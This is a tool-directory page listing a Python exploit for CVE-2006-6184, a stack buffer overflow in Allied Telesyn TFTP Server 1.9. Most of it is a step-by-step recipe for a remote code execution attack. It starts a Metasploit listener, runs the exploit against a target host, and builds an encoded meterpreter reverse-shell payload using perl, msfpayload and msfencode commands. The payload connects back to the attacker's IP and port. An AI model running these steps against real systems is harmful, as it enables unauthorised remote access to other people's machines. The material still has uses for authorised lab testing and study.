Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2006-6184 — simplified version of https://github.com/shauntdergrigorian/cve-2006-6184 | Kitploit
Tools/GitHubGitHub/b03902043/cve-2006-6184
Payload GenerationVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubb03902043/cve-2006-6184

CVE-2006-6184

simplified version of https://github.com/shauntdergrigorian/cve-2006-6184

View Repository
6 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2006-6184

This is a python-based standalone exploit for CVE-2006-6184. This exploit triggers a stack-based buffer overflow in Allied Telesyn TFTP Server (AT-TFTP) 1.9, and possibly earlier, allowing remote attackers to cause a denial of service or execute arbitrary code.

Quick Start

  1. let exploit/multi/handler listening
  2. python generate.py LHOST LPORT PAYLOAD RHOST RPORT (PAYLOAD example: windows/meterpreter/reverse_nonx_tcp)
  3. happy coding (maybe migrate process first(?))

SKIDDIES BEWARE!

You didn't think it'd be that easy did you? The payload must be customized to include your own IP address and listening port, so you'll need to generate it yourself. To do so, use the following steps:

1.) Enter the following to create a hex file of the amount that needs to be subtracted from the stack pointer (3500):

root@kitploit:~
perl -e 'print "\x81\xec\xac\x0d\x00\x00"' > stackadj

2.) Next, use the following command to create a staged meterpreter shell payload:

root@kitploit:~
msfpayload windows/meterpreter/reverse_nonx_tcp LHOST=[your IP] LPORT=[your port] R > payload

3.) Then, combine the two files you just created.

root@kitploit:~
cat stackadj payload > shellcode

4.) Finally, let's eliminate the bad characters.

root@kitploit:~
cat shellcode | msfencode -b '\x00' -e x86/shikata_ga_nai -t python

Enter the output as the value of the "payload" variable.

Download Tool